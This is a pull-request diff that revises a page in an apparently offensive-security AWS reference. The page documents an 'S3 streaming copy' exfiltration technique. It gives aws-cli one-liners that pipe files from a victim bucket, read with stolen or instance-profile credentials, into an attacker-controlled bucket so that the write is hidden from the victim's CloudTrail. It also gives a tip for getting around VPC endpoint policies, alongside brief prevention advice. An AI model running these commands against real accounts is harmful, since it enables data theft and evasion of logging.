Merge pull request #247 from houey/houey-patch-cleanup

Update s3_streaming_copy.md

content/aws/exploitation/s3_streaming_copy.md

@@ -1,24 +1,28 @@
 ---
 author_name: Houston Hopkins
 title: S3 Streaming Copy
-description: Stream copy standard out to standard in with AWS S3 Cli utilizing multiple profile to avoid detection/logging in the victim environment
+description: Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment
 hide:
   - toc
 ---
 
 # S3 Streaming Copy
 
 Shout Out to Janardhan Prabhakara for showing me this all those years ago!
+
 Note: This technique is a Bring Your Own (BYOK) attack. 
+
 Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.
 
-Why would use this?
-In many environments AWS->AWS traffic is largely unfiltered and extremely full of noise. However, you may find a key that can GetObject, but not PutObject. Or perhaphs, more likely, you would like to hide your putObject command. 
+Why would anyone use this?
+
+In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands. 
 
-If you have found your way to a shell on an EC2 Instance of the victim your commands will be coming from an expected/trusted network which is even less likely to be detected. 
-s3 Streaming Copy can also be used from any terminal with CLI access.
+If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected.  However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.
 
-When this attack is perfomed the GetObject call is recorded in the victim cloudtrail dataevents (if enabled, aka hardly ever) But the PutObject call is recorded in the attacker's cloudtrail.
+When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail.  The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.
+
+When using the aws-cli utilize the `--profile` to specify the specific IAM context profile from the .aws/credentials file.
 
 Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials
 ```
@@ -27,24 +31,30 @@ aws_access_key_id = <attacker_key_id>
 aws_secret_access_key = <attacker_secret_key>
 ```
 
-If you have victim credentials native to EC2, running as an instance profile you can skip this next step if you want.
+Step 2: Create a profile for the VICTIM credentials.  These are the keys attained with access to the victim's AWS enviornment. 
 
-create a profile for your VICTIM credentials.  These are the keys you attained with access to the victim's aws enviornment. 
+!!! Note
+    This step is optional if using a shell on a VICTIM EC2, running an EC2 instance profile that has the permissions to test.
 ```
 [victim]
 aws_access_key_id = <victim_key_id>
 aws_secret_access_key = <victim_secret_key>
 ```
 
-When using the AWS CLI you can utilize the --profile to specify the specific profile from the credentials file.
-
-And here is the s3 Stream Copy (for a single file)
+Step 3: example: S3 Stream Copy command for a single file from cli
 ```
 aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )
 ```
-note that you breaking the command and switching the profile context mid copy such that standard out writes to standard in. 
+
+Step 3: example: S3 Stream Copy command for a single file from cli of an Ec2 instance using the Instance Profile
+```
+aws s3 cp s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )
+```
 
 Prevention:
-A well known, but not very common, way to prevent this is by mandating egress through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId.
-This is becoming more common with the popularity of [Data Perimeters](https://docs.aws.amazon.com/whitepapers/latest/building-a-data-perimeter-on-aws/appendix-2-vpc-endpoint-policy-examples.html) guardrails
-If this doesn't work it possible the VPC Endpoint policy is in place, try making the attacker destination bucket in another AWS Region. Cross-region calls will not typically traverse a VPC Endpoint.
+A known, but not very common, way to prevent this is by mandating S3 communication through a VPC Endpoint and [applying a VPC Endpoint Policy](https://docs.aws.amazon.com/whitepapers/latest/building-a-data-perimeter-on-aws/appendix-2-vpc-endpoint-policy-examples.html) that denies any request that does not match the principalOrgId.
+
+This is becoming more common with the popularity of [Data Perimeter](https://docs.aws.amazon.com/whitepapers/latest/building-a-data-perimeter-on-aws/building-a-data-perimeter-on-aws.html) guardrails
+
+!!! Note
+    If this technique doesn't work, it is possible there is a VPC Endpoint policy is in place. Try making the ATTACKER destination bucket in another AWS Region as Cross-region calls typically do not traverse a VPC Endpoint.